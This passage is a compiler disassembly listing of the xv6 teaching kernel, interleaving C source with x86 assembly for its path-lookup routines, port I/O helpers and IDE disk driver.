801021c8: eb 16 jmp 801021e0 <dirlink+0x9a>
iput(ip);
return -1;
}
// Look for an empty dirent.
for(off = 0; off < dp->size; off += sizeof(de)){
801021ca: 8b 45 f4 mov -0xc(%ebp),%eax
801021cd: 83 c0 10 add $0x10,%eax
801021d0: 89 45 f4 mov %eax,-0xc(%ebp)
801021d3: 8b 55 f4 mov -0xc(%ebp),%edx
801021d6: 8b 45 08 mov 0x8(%ebp),%eax
801021d9: 8b 40 18 mov 0x18(%eax),%eax
801021dc: 39 c2 cmp %eax,%edx
801021de: 72 ad jb 8010218d <dirlink+0x47>
panic("dirlink read");
if(de.inum == 0)
break;
}
strncpy(de.name, name, DIRSIZ);
801021e0: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
801021e7: 00
801021e8: 8b 45 0c mov 0xc(%ebp),%eax
801021eb: 89 44 24 04 mov %eax,0x4(%esp)
801021ef: 8d 45 e0 lea -0x20(%ebp),%eax
801021f2: 83 c0 02 add $0x2,%eax
801021f5: 89 04 24 mov %eax,(%esp)
801021f8: e8 30 30 00 00 call 8010522d <strncpy>
de.inum = inum;
801021fd: 8b 45 10 mov 0x10(%ebp),%eax
80102200: 66 89 45 e0 mov %ax,-0x20(%ebp)
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80102204: 8b 45 f4 mov -0xc(%ebp),%eax
80102207: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp)
8010220e: 00
8010220f: 89 44 24 08 mov %eax,0x8(%esp)
80102213: 8d 45 e0 lea -0x20(%ebp),%eax
80102216: 89 44 24 04 mov %eax,0x4(%esp)
8010221a: 8b 45 08 mov 0x8(%ebp),%eax
8010221d: 89 04 24 mov %eax,(%esp)
80102220: e8 a7 fc ff ff call 80101ecc <writei>
80102225: 83 f8 10 cmp $0x10,%eax
80102228: 74 0c je 80102236 <dirlink+0xf0>
panic("dirlink");
8010222a: c7 04 24 e4 87 10 80 movl $0x801087e4,(%esp)
80102231: e8 04 e3 ff ff call 8010053a <panic>
return 0;
80102236: b8 00 00 00 00 mov $0x0,%eax
}
8010223b: c9 leave
8010223c: c3 ret
8010223d <skipelem>:
// skipelem("a", name) = "", setting name = "a"
// skipelem("", name) = skipelem("////", name) = 0
//
static char*
skipelem(char *path, char *name)
{
8010223d: 55 push %ebp
8010223e: 89 e5 mov %esp,%ebp
80102240: 83 ec 28 sub $0x28,%esp
char *s;
int len;
while(*path == '/')
80102243: eb 04 jmp 80102249 <skipelem+0xc>
path++;
80102245: 83 45 08 01 addl $0x1,0x8(%ebp)
skipelem(char *path, char *name)
{
char *s;
int len;
while(*path == '/')
80102249: 8b 45 08 mov 0x8(%ebp),%eax
8010224c: 0f b6 00 movzbl (%eax),%eax
8010224f: 3c 2f cmp $0x2f,%al
80102251: 74 f2 je 80102245 <skipelem+0x8>
path++;
if(*path == 0)
80102253: 8b 45 08 mov 0x8(%ebp),%eax
80102256: 0f b6 00 movzbl (%eax),%eax
80102259: 84 c0 test %al,%al
8010225b: 75 0a jne 80102267 <skipelem+0x2a>
return 0;
8010225d: b8 00 00 00 00 mov $0x0,%eax
80102262: e9 86 00 00 00 jmp 801022ed <skipelem+0xb0>
s = path;
80102267: 8b 45 08 mov 0x8(%ebp),%eax
8010226a: 89 45 f4 mov %eax,-0xc(%ebp)
while(*path != '/' && *path != 0)
8010226d: eb 04 jmp 80102273 <skipelem+0x36>
path++;
8010226f: 83 45 08 01 addl $0x1,0x8(%ebp)
while(*path == '/')
path++;
if(*path == 0)
return 0;
s = path;
while(*path != '/' && *path != 0)
80102273: 8b 45 08 mov 0x8(%ebp),%eax
80102276: 0f b6 00 movzbl (%eax),%eax
80102279: 3c 2f cmp $0x2f,%al
8010227b: 74 0a je 80102287 <skipelem+0x4a>
8010227d: 8b 45 08 mov 0x8(%ebp),%eax
80102280: 0f b6 00 movzbl (%eax),%eax
80102283: 84 c0 test %al,%al
80102285: 75 e8 jne 8010226f <skipelem+0x32>
path++;
len = path - s;
80102287: 8b 55 08 mov 0x8(%ebp),%edx
8010228a: 8b 45 f4 mov -0xc(%ebp),%eax
8010228d: 29 c2 sub %eax,%edx
8010228f: 89 d0 mov %edx,%eax
80102291: 89 45 f0 mov %eax,-0x10(%ebp)
if(len >= DIRSIZ)
80102294: 83 7d f0 0d cmpl $0xd,-0x10(%ebp)
80102298: 7e 1c jle 801022b6 <skipelem+0x79>
memmove(name, s, DIRSIZ);
8010229a: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp)
801022a1: 00
801022a2: 8b 45 f4 mov -0xc(%ebp),%eax
801022a5: 89 44 24 04 mov %eax,0x4(%esp)
801022a9: 8b 45 0c mov 0xc(%ebp),%eax
801022ac: 89 04 24 mov %eax,(%esp)
801022af: e8 80 2e 00 00 call 80105134 <memmove>
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
801022b4: eb 2a jmp 801022e0 <skipelem+0xa3>
path++;
len = path - s;
if(len >= DIRSIZ)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
801022b6: 8b 45 f0 mov -0x10(%ebp),%eax
801022b9: 89 44 24 08 mov %eax,0x8(%esp)
801022bd: 8b 45 f4 mov -0xc(%ebp),%eax
801022c0: 89 44 24 04 mov %eax,0x4(%esp)
801022c4: 8b 45 0c mov 0xc(%ebp),%eax
801022c7: 89 04 24 mov %eax,(%esp)
801022ca: e8 65 2e 00 00 call 80105134 <memmove>
name[len] = 0;
801022cf: 8b 55 f0 mov -0x10(%ebp),%edx
801022d2: 8b 45 0c mov 0xc(%ebp),%eax
801022d5: 01 d0 add %edx,%eax
801022d7: c6 00 00 movb $0x0,(%eax)
}
while(*path == '/')
801022da: eb 04 jmp 801022e0 <skipelem+0xa3>
path++;
801022dc: 83 45 08 01 addl $0x1,0x8(%ebp)
memmove(name, s, DIRSIZ);
else {
memmove(name, s, len);
name[len] = 0;
}
while(*path == '/')
801022e0: 8b 45 08 mov 0x8(%ebp),%eax
801022e3: 0f b6 00 movzbl (%eax),%eax
801022e6: 3c 2f cmp $0x2f,%al
801022e8: 74 f2 je 801022dc <skipelem+0x9f>
path++;
return path;
801022ea: 8b 45 08 mov 0x8(%ebp),%eax
}
801022ed: c9 leave
801022ee: c3 ret
801022ef <namex>:
// If parent != 0, return the inode for the parent and copy the final
// path element into name, which must have room for DIRSIZ bytes.
// Must be called inside a transaction since it calls iput().
static struct inode*
namex(char *path, int nameiparent, char *name)
{
801022ef: 55 push %ebp
801022f0: 89 e5 mov %esp,%ebp
801022f2: 83 ec 28 sub $0x28,%esp
struct inode *ip, *next;
if(*path == '/')
801022f5: 8b 45 08 mov 0x8(%ebp),%eax
801022f8: 0f b6 00 movzbl (%eax),%eax
801022fb: 3c 2f cmp $0x2f,%al
801022fd: 75 1c jne 8010231b <namex+0x2c>
ip = iget(ROOTDEV, ROOTINO);
801022ff: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80102306: 00
80102307: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010230e: e8 44 f4 ff ff call 80101757 <iget>
80102313: 89 45 f4 mov %eax,-0xc(%ebp)
else
ip = idup(proc->cwd);
while((path = skipelem(path, name)) != 0){
80102316: e9 af 00 00 00 jmp 801023ca <namex+0xdb>
struct inode *ip, *next;
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
8010231b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80102321: 8b 40 68 mov 0x68(%eax),%eax
80102324: 89 04 24 mov %eax,(%esp)
80102327: e8 fd f4 ff ff call 80101829 <idup>
8010232c: 89 45 f4 mov %eax,-0xc(%ebp)
while((path = skipelem(path, name)) != 0){
8010232f: e9 96 00 00 00 jmp 801023ca <namex+0xdb>
ilock(ip);
80102334: 8b 45 f4 mov -0xc(%ebp),%eax
80102337: 89 04 24 mov %eax,(%esp)
8010233a: e8 1c f5 ff ff call 8010185b <ilock>
if(ip->type != T_DIR){
8010233f: 8b 45 f4 mov -0xc(%ebp),%eax
80102342: 0f b7 40 10 movzwl 0x10(%eax),%eax
80102346: 66 83 f8 01 cmp $0x1,%ax
8010234a: 74 15 je 80102361 <namex+0x72>
iunlockput(ip);
8010234c: 8b 45 f4 mov -0xc(%ebp),%eax
8010234f: 89 04 24 mov %eax,(%esp)
80102352: e8 88 f7 ff ff call 80101adf <iunlockput>
return 0;
80102357: b8 00 00 00 00 mov $0x0,%eax
8010235c: e9 a3 00 00 00 jmp 80102404 <namex+0x115>
}
if(nameiparent && *path == '\0'){
80102361: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
80102365: 74 1d je 80102384 <namex+0x95>
80102367: 8b 45 08 mov 0x8(%ebp),%eax
8010236a: 0f b6 00 movzbl (%eax),%eax
8010236d: 84 c0 test %al,%al
8010236f: 75 13 jne 80102384 <namex+0x95>
// Stop one level early.
iunlock(ip);
80102371: 8b 45 f4 mov -0xc(%ebp),%eax
80102374: 89 04 24 mov %eax,(%esp)
80102377: e8 2d f6 ff ff call 801019a9 <iunlock>
return ip;
8010237c: 8b 45 f4 mov -0xc(%ebp),%eax
8010237f: e9 80 00 00 00 jmp 80102404 <namex+0x115>
}
if((next = dirlookup(ip, name, 0)) == 0){
80102384: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
8010238b: 00
8010238c: 8b 45 10 mov 0x10(%ebp),%eax
8010238f: 89 44 24 04 mov %eax,0x4(%esp)
80102393: 8b 45 f4 mov -0xc(%ebp),%eax
80102396: 89 04 24 mov %eax,(%esp)
80102399: e8 df fc ff ff call 8010207d <dirlookup>
8010239e: 89 45 f0 mov %eax,-0x10(%ebp)
801023a1: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801023a5: 75 12 jne 801023b9 <namex+0xca>
iunlockput(ip);
801023a7: 8b 45 f4 mov -0xc(%ebp),%eax
801023aa: 89 04 24 mov %eax,(%esp)
801023ad: e8 2d f7 ff ff call 80101adf <iunlockput>
return 0;
801023b2: b8 00 00 00 00 mov $0x0,%eax
801023b7: eb 4b jmp 80102404 <namex+0x115>
}
iunlockput(ip);
801023b9: 8b 45 f4 mov -0xc(%ebp),%eax
801023bc: 89 04 24 mov %eax,(%esp)
801023bf: e8 1b f7 ff ff call 80101adf <iunlockput>
ip = next;
801023c4: 8b 45 f0 mov -0x10(%ebp),%eax
801023c7: 89 45 f4 mov %eax,-0xc(%ebp)
if(*path == '/')
ip = iget(ROOTDEV, ROOTINO);
else
ip = idup(proc->cwd);
while((path = skipelem(path, name)) != 0){
801023ca: 8b 45 10 mov 0x10(%ebp),%eax
801023cd: 89 44 24 04 mov %eax,0x4(%esp)
801023d1: 8b 45 08 mov 0x8(%ebp),%eax
801023d4: 89 04 24 mov %eax,(%esp)
801023d7: e8 61 fe ff ff call 8010223d <skipelem>
801023dc: 89 45 08 mov %eax,0x8(%ebp)
801023df: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801023e3: 0f 85 4b ff ff ff jne 80102334 <namex+0x45>
return 0;
}
iunlockput(ip);
ip = next;
}
if(nameiparent){
801023e9: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
801023ed: 74 12 je 80102401 <namex+0x112>
iput(ip);
801023ef: 8b 45 f4 mov -0xc(%ebp),%eax
801023f2: 89 04 24 mov %eax,(%esp)
801023f5: e8 14 f6 ff ff call 80101a0e <iput>
return 0;
801023fa: b8 00 00 00 00 mov $0x0,%eax
801023ff: eb 03 jmp 80102404 <namex+0x115>
}
return ip;
80102401: 8b 45 f4 mov -0xc(%ebp),%eax
}
80102404: c9 leave
80102405: c3 ret
80102406 <namei>:
struct inode*
namei(char *path)
{
80102406: 55 push %ebp
80102407: 89 e5 mov %esp,%ebp
80102409: 83 ec 28 sub $0x28,%esp
char name[DIRSIZ];
return namex(path, 0, name);
8010240c: 8d 45 ea lea -0x16(%ebp),%eax
8010240f: 89 44 24 08 mov %eax,0x8(%esp)
80102413: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010241a: 00
8010241b: 8b 45 08 mov 0x8(%ebp),%eax
8010241e: 89 04 24 mov %eax,(%esp)
80102421: e8 c9 fe ff ff call 801022ef <namex>
}
80102426: c9 leave
80102427: c3 ret
80102428 <nameiparent>:
struct inode*
nameiparent(char *path, char *name)
{
80102428: 55 push %ebp
80102429: 89 e5 mov %esp,%ebp
8010242b: 83 ec 18 sub $0x18,%esp
return namex(path, 1, name);
8010242e: 8b 45 0c mov 0xc(%ebp),%eax
80102431: 89 44 24 08 mov %eax,0x8(%esp)
80102435: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
8010243c: 00
8010243d: 8b 45 08 mov 0x8(%ebp),%eax
80102440: 89 04 24 mov %eax,(%esp)
80102443: e8 a7 fe ff ff call 801022ef <namex>
}
80102448: c9 leave
80102449: c3 ret
8010244a <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
8010244a: 55 push %ebp
8010244b: 89 e5 mov %esp,%ebp
8010244d: 83 ec 14 sub $0x14,%esp
80102450: 8b 45 08 mov 0x8(%ebp),%eax
80102453: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102457: 0f b7 45 ec movzwl -0x14(%ebp),%eax
8010245b: 89 c2 mov %eax,%edx
8010245d: ec in (%dx),%al
8010245e: 88 45 ff mov %al,-0x1(%ebp)
return data;
80102461: 0f b6 45 ff movzbl -0x1(%ebp),%eax
}
80102465: c9 leave
80102466: c3 ret
80102467 <insl>:
static inline void
insl(int port, void *addr, int cnt)
{
80102467: 55 push %ebp
80102468: 89 e5 mov %esp,%ebp
8010246a: 57 push %edi
8010246b: 53 push %ebx
asm volatile("cld; rep insl" :
8010246c: 8b 55 08 mov 0x8(%ebp),%edx
8010246f: 8b 4d 0c mov 0xc(%ebp),%ecx
80102472: 8b 45 10 mov 0x10(%ebp),%eax
80102475: 89 cb mov %ecx,%ebx
80102477: 89 df mov %ebx,%edi
80102479: 89 c1 mov %eax,%ecx
8010247b: fc cld
8010247c: f3 6d rep insl (%dx),%es:(%edi)
8010247e: 89 c8 mov %ecx,%eax
80102480: 89 fb mov %edi,%ebx
80102482: 89 5d 0c mov %ebx,0xc(%ebp)
80102485: 89 45 10 mov %eax,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"d" (port), "0" (addr), "1" (cnt) :
"memory", "cc");
}
80102488: 5b pop %ebx
80102489: 5f pop %edi
8010248a: 5d pop %ebp
8010248b: c3 ret
8010248c <outb>:
static inline void
outb(ushort port, uchar data)
{
8010248c: 55 push %ebp
8010248d: 89 e5 mov %esp,%ebp
8010248f: 83 ec 08 sub $0x8,%esp
80102492: 8b 55 08 mov 0x8(%ebp),%edx
80102495: 8b 45 0c mov 0xc(%ebp),%eax
80102498: 66 89 55 fc mov %dx,-0x4(%ebp)
8010249c: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010249f: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
801024a3: 0f b7 55 fc movzwl -0x4(%ebp),%edx
801024a7: ee out %al,(%dx)
}
801024a8: c9 leave
801024a9: c3 ret
801024aa <outsl>:
asm volatile("out %0,%1" : : "a" (data), "d" (port));
}
static inline void
outsl(int port, const void *addr, int cnt)
{
801024aa: 55 push %ebp
801024ab: 89 e5 mov %esp,%ebp
801024ad: 56 push %esi
801024ae: 53 push %ebx
asm volatile("cld; rep outsl" :
801024af: 8b 55 08 mov 0x8(%ebp),%edx
801024b2: 8b 4d 0c mov 0xc(%ebp),%ecx
801024b5: 8b 45 10 mov 0x10(%ebp),%eax
801024b8: 89 cb mov %ecx,%ebx
801024ba: 89 de mov %ebx,%esi
801024bc: 89 c1 mov %eax,%ecx
801024be: fc cld
801024bf: f3 6f rep outsl %ds:(%esi),(%dx)
801024c1: 89 c8 mov %ecx,%eax
801024c3: 89 f3 mov %esi,%ebx
801024c5: 89 5d 0c mov %ebx,0xc(%ebp)
801024c8: 89 45 10 mov %eax,0x10(%ebp)
"=S" (addr), "=c" (cnt) :
"d" (port), "0" (addr), "1" (cnt) :
"cc");
}
801024cb: 5b pop %ebx
801024cc: 5e pop %esi
801024cd: 5d pop %ebp
801024ce: c3 ret
801024cf <idewait>:
static void idestart(struct buf*);
// Wait for IDE disk to become ready.
static int
idewait(int checkerr)
{
801024cf: 55 push %ebp
801024d0: 89 e5 mov %esp,%ebp
801024d2: 83 ec 14 sub $0x14,%esp
int r;
while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY)
801024d5: 90 nop
801024d6: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801024dd: e8 68 ff ff ff call 8010244a <inb>
801024e2: 0f b6 c0 movzbl %al,%eax
801024e5: 89 45 fc mov %eax,-0x4(%ebp)
801024e8: 8b 45 fc mov -0x4(%ebp),%eax
801024eb: 25 c0 00 00 00 and $0xc0,%eax
801024f0: 83 f8 40 cmp $0x40,%eax
801024f3: 75 e1 jne 801024d6 <idewait+0x7>
;
if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0)
801024f5: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801024f9: 74 11 je 8010250c <idewait+0x3d>
801024fb: 8b 45 fc mov -0x4(%ebp),%eax
801024fe: 83 e0 21 and $0x21,%eax
80102501: 85 c0 test %eax,%eax
80102503: 74 07 je 8010250c <idewait+0x3d>
return -1;
80102505: b8 ff ff ff ff mov $0xffffffff,%eax
8010250a: eb 05 jmp 80102511 <idewait+0x42>
return 0;
8010250c: b8 00 00 00 00 mov $0x0,%eax
}
80102511: c9 leave
80102512: c3 ret
80102513 <ideinit>:
void
ideinit(void)
{
80102513: 55 push %ebp
80102514: 89 e5 mov %esp,%ebp
80102516: 83 ec 28 sub $0x28,%esp
int i;
initlock(&idelock, "ide");
80102519: c7 44 24 04 ec 87 10 movl $0x801087ec,0x4(%esp)
80102520: 80
80102521: c7 04 24 00 b6 10 80 movl $0x8010b600,(%esp)
80102528: e8 c3 28 00 00 call 80104df0 <initlock>
picenable(IRQ_IDE);
8010252d: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
80102534: e8 99 18 00 00 call 80103dd2 <picenable>
ioapicenable(IRQ_IDE, ncpu - 1);
80102539: a1 c0 29 11 80 mov 0x801129c0,%eax
8010253e: 83 e8 01 sub $0x1,%eax
80102541: 89 44 24 04 mov %eax,0x4(%esp)
80102545: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
8010254c: e8 0c 04 00 00 call 8010295d <ioapicenable>
idewait(0);
80102551: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80102558: e8 72 ff ff ff call 801024cf <idewait>
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
8010255d: c7 44 24 04 f0 00 00 movl $0xf0,0x4(%esp)
80102564: 00
80102565: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
8010256c: e8 1b ff ff ff call 8010248c <outb>
for(i=0; i<1000; i++){
80102571: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80102578: eb 20 jmp 8010259a <ideinit+0x87>
if(inb(0x1f7) != 0){
8010257a: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
80102581: e8 c4 fe ff ff call 8010244a <inb>
80102586: 84 c0 test %al,%al
80102588: 74 0c je 80102596 <ideinit+0x83>
havedisk1 = 1;
8010258a: c7 05 38 b6 10 80 01 movl $0x1,0x8010b638
80102591: 00 00 00
break;
80102594: eb 0d jmp 801025a3 <ideinit+0x90>
ioapicenable(IRQ_IDE, ncpu - 1);
idewait(0);
// Check if disk 1 is present
outb(0x1f6, 0xe0 | (1<<4));
for(i=0; i<1000; i++){
80102596: 83 45 f4 01 addl $0x1,-0xc(%ebp)
8010259a: 81 7d f4 e7 03 00 00 cmpl $0x3e7,-0xc(%ebp)
801025a1: 7e d7 jle 8010257a <ideinit+0x67>
break;
}
}
// Switch back to disk 0.
outb(0x1f6, 0xe0 | (0<<4));
801025a3: c7 44 24 04 e0 00 00 movl $0xe0,0x4(%esp)
801025aa: 00
801025ab: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
801025b2: e8 d5 fe ff ff call 8010248c <outb>
}
801025b7: c9 leave
801025b8: c3 ret
801025b9 <idestart>:
// Start the request for b. Caller must hold idelock.
static void
idestart(struct buf *b)
{
801025b9: 55 push %ebp
801025ba: 89 e5 mov %esp,%ebp
801025bc: 83 ec 18 sub $0x18,%esp
if(b == 0)
801025bf: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
801025c3: 75 0c jne 801025d1 <idestart+0x18>
panic("idestart");
801025c5: c7 04 24 f0 87 10 80 movl $0x801087f0,(%esp)
801025cc: e8 69 df ff ff call 8010053a <panic>
idewait(0);
801025d1: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801025d8: e8 f2 fe ff ff call 801024cf <idewait>
outb(0x3f6, 0); // generate interrupt
801025dd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801025e4: 00
801025e5: c7 04 24 f6 03 00 00 movl $0x3f6,(%esp)
801025ec: e8 9b fe ff ff call 8010248c <outb>
outb(0x1f2, 1); // number of sectors
801025f1: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
801025f8: 00
801025f9: c7 04 24 f2 01 00 00 movl $0x1f2,(%esp)
80102600: e8 87 fe ff ff call 8010248c <outb>
outb(0x1f3, b->sector & 0xff);
80102605: 8b 45 08 mov 0x8(%ebp),%eax
80102608: 8b 40 08 mov 0x8(%eax),%eax
8010260b: 0f b6 c0 movzbl %al,%eax
8010260e: 89 44 24 04 mov %eax,0x4(%esp)
80102612: c7 04 24 f3 01 00 00 movl $0x1f3,(%esp)
80102619: e8 6e fe ff ff call 8010248c <outb>
outb(0x1f4, (b->sector >> 8) & 0xff);
8010261e: 8b 45 08 mov 0x8(%ebp),%eax
80102621: 8b 40 08 mov 0x8(%eax),%eax
80102624: c1 e8 08 shr $0x8,%eax
80102627: 0f b6 c0 movzbl %al,%eax
8010262a: 89 44 24 04 mov %eax,0x4(%esp)
8010262e: c7 04 24 f4 01 00 00 movl $0x1f4,(%esp)
80102635: e8 52 fe ff ff call 8010248c <outb>
outb(0x1f5, (b->sector >> 16) & 0xff);
8010263a: 8b 45 08 mov 0x8(%ebp),%eax
8010263d: 8b 40 08 mov 0x8(%eax),%eax
80102640: c1 e8 10 shr $0x10,%eax
80102643: 0f b6 c0 movzbl %al,%eax
80102646: 89 44 24 04 mov %eax,0x4(%esp)
8010264a: c7 04 24 f5 01 00 00 movl $0x1f5,(%esp)
80102651: e8 36 fe ff ff call 8010248c <outb>
outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((b->sector>>24)&0x0f));
80102656: 8b 45 08 mov 0x8(%ebp),%eax
80102659: 8b 40 04 mov 0x4(%eax),%eax
8010265c: 83 e0 01 and $0x1,%eax
8010265f: c1 e0 04 shl $0x4,%eax
80102662: 89 c2 mov %eax,%edx
80102664: 8b 45 08 mov 0x8(%ebp),%eax
80102667: 8b 40 08 mov 0x8(%eax),%eax
8010266a: c1 e8 18 shr $0x18,%eax
8010266d: 83 e0 0f and $0xf,%eax
80102670: 09 d0 or %edx,%eax
80102672: 83 c8 e0 or $0xffffffe0,%eax
80102675: 0f b6 c0 movzbl %al,%eax
80102678: 89 44 24 04 mov %eax,0x4(%esp)
8010267c: c7 04 24 f6 01 00 00 movl $0x1f6,(%esp)
80102683: e8 04 fe ff ff call 8010248c <outb>
if(b->flags & B_DIRTY){
80102688: 8b 45 08 mov 0x8(%ebp),%eax
8010268b: 8b 00 mov (%eax),%eax
8010268d: 83 e0 04 and $0x4,%eax
80102690: 85 c0 test %eax,%eax
80102692: 74 34 je 801026c8 <idestart+0x10f>
outb(0x1f7, IDE_CMD_WRITE);
80102694: c7 44 24 04 30 00 00 movl $0x30,0x4(%esp)
8010269b: 00
8010269c: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801026a3: e8 e4 fd ff ff call 8010248c <outb>
outsl(0x1f0, b->data, 512/4);
801026a8: 8b 45 08 mov 0x8(%ebp),%eax
801026ab: 83 c0 18 add $0x18,%eax
801026ae: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
801026b5: 00
801026b6: 89 44 24 04 mov %eax,0x4(%esp)
801026ba: c7 04 24 f0 01 00 00 movl $0x1f0,(%esp)
801026c1: e8 e4 fd ff ff call 801024aa <outsl>
801026c6: eb 14 jmp 801026dc <idestart+0x123>
} else {
outb(0x1f7, IDE_CMD_READ);
801026c8: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp)
801026cf: 00
801026d0: c7 04 24 f7 01 00 00 movl $0x1f7,(%esp)
801026d7: e8 b0 fd ff ff call 8010248c <outb>
}
}
801026dc: c9 leave
801026dd: c3 ret
801026de <ideintr>:
// Interrupt handler.
void
ideintr(void)
{
801026de: 55 push %ebp
801026df: 89 e5 mov %esp,%ebp
801026e1: 83 ec 28 sub $0x28,%esp
struct buf *b;
// First queued buffer is the active request.
acquire(&idelock);
801026e4: c7 04 24 00 b6 10 80 movl $0x8010b600,(%esp)
801026eb: e8 21 27 00 00 call 80104e11 <acquire>
if((b = idequeue) == 0){
801026f0: a1 34 b6 10 80 mov 0x8010b634,%eax
801026f5: 89 45 f4 mov %eax,-0xc(%ebp)
801026f8: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801026fc: 75 11 jne 8010270f <ideintr+0x31>
release(&idelock);
801026fe: c7 04 24 00 b6 10 80 movl $0x8010b600,(%esp)
80102705: e8 69 27 00 00 call 80104e73 <release>
// cprintf("spurious IDE interrupt\n");
return;
8010270a: e9 90 00 00 00 jmp 8010279f <ideintr+0xc1>
}
idequeue = b->qnext;
8010270f: 8b 45 f4 mov -0xc(%ebp),%eax
80102712: 8b 40 14 mov 0x14(%eax),%eax
80102715: a3 34 b6 10 80 mov %eax,0x8010b634
// Read data if needed.
if(!(b->flags & B_DIRTY) && idewait(1) >= 0)
8010271a: 8b 45 f4 mov -0xc(%ebp),%eax
8010271d: 8b 00 mov (%eax),%eax
8010271f: 83 e0 04 and $0x4,%eax
80102722: 85 c0 test %eax,%eax
80102724: 75 2e jne 80102754 <ideintr+0x76>
80102726: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8010272d: e8 9d fd ff ff call 801024cf <idewait>
80102732: 85 c0 test %eax,%eax
80102734: 78 1e js 80102754 <ideintr+0x76>
insl(0x1f0, b->data, 512/4);
80102736: 8b 45 f4 mov -0xc(%ebp),%eax
80102739: 83 c0 18 add $0x18,%eax
8010273c: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
80102743: 00
80102744: 89 44 24 04 mov %eax,0x4(%esp)
80102748: c7 04 24 f0 01 00 00 movl $0x1f0,(%esp)
8010274f: e8 13 fd ff ff call 80102467 <insl>
// Wake process waiting for this buf.
b->flags |= B_VALID;
80102754: 8b 45 f4 mov -0xc(%ebp),%eax
80102757: 8b 00 mov (%eax),%eax
80102759: 83 c8 02 or $0x2,%eax
8010275c: 89 c2 mov %eax,%edx
8010275e: 8b 45 f4 mov -0xc(%ebp),%eax
80102761: 89 10 mov %edx,(%eax)
b->flags &= ~B_DIRTY;
80102763: 8b 45 f4 mov -0xc(%ebp),%eax
80102766: 8b 00 mov (%eax),%eax
80102768: 83 e0 fb and $0xfffffffb,%eax
8010276b: 89 c2 mov %eax,%edx
8010276d: 8b 45 f4 mov -0xc(%ebp),%eax
80102770: 89 10 mov %edx,(%eax)
wakeup(b);
80102772: 8b 45 f4 mov -0xc(%ebp),%eax
80102775: 89 04 24 mov %eax,(%esp)
80102778: e8 a3 24 00 00 call 80104c20 <wakeup>
// Start disk on next buf in queue.
if(idequeue != 0)
8010277d: a1 34 b6 10 80 mov 0x8010b634,%eax
80102782: 85 c0 test %eax,%eax
80102784: 74 0d je 80102793 <ideintr+0xb5>
idestart(idequeue);
80102786: a1 34 b6 10 80 mov 0x8010b634,%eax
8010278b: 89 04 24 mov %eax,(%esp)
8010278e: e8 26 fe ff ff call 801025b9 <idestart>
release(&idelock);
80102793: c7 04 24 00 b6 10 80 movl $0x8010b600,(%esp)
8010279a: e8 d4 26 00 00 call 80104e73 <release>
}
8010279f: c9 leave
801027a0: c3 ret
801027a1 <iderw>:
// Sync buf with disk.
// If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID.
// Else if B_VALID is not set, read buf from disk, set B_VALID.
void
iderw(struct buf *b)
{
801027a1: 55 push %ebp
801027a2: 89 e5 mov %esp,%ebp
801027a4: 83 ec 28 sub $0x28,%esp
struct buf **pp;
if(!(b->flags & B_BUSY))
801027a7: 8b 45 08 mov 0x8(%ebp),%eax
801027aa: 8b 00 mov (%eax),%eax
801027ac: 83 e0 01 and $0x1,%eax
801027af: 85 c0 test %eax,%eax
801027b1: 75 0c jne 801027bf <iderw+0x1e>
panic("iderw: buf not busy");
801027b3: c7 04 24 f9 87 10 80 movl $0x801087f9,(%esp)
801027ba: e8 7b dd ff ff call 8010053a <panic>
if((b->flags & (B_VALID|B_DIRTY)) == B_VALID)
801027bf: 8b 45 08 mov 0x8(%ebp),%eax
801027c2: 8b 00 mov (%eax),%eax
801027c4: 83 e0 06 and $0x6,%eax
801027c7: 83 f8 02 cmp $0x2,%eax
801027ca: 75 0c jne 801027d8 <iderw+0x37>
panic("iderw: nothing to do");
801027cc: c7 04 24 0d 88 10 80 movl $0x8010880d,(%esp)
801027d3: e8 62 dd ff ff call 8010053a <panic>
if(b->dev != 0 && !havedisk1)
801027d8: 8b 45 08 mov 0x8(%ebp),%eax
801027db: 8b 40 04 mov 0x4(%eax),%eax
801027de: 85 c0 test %eax,%eax
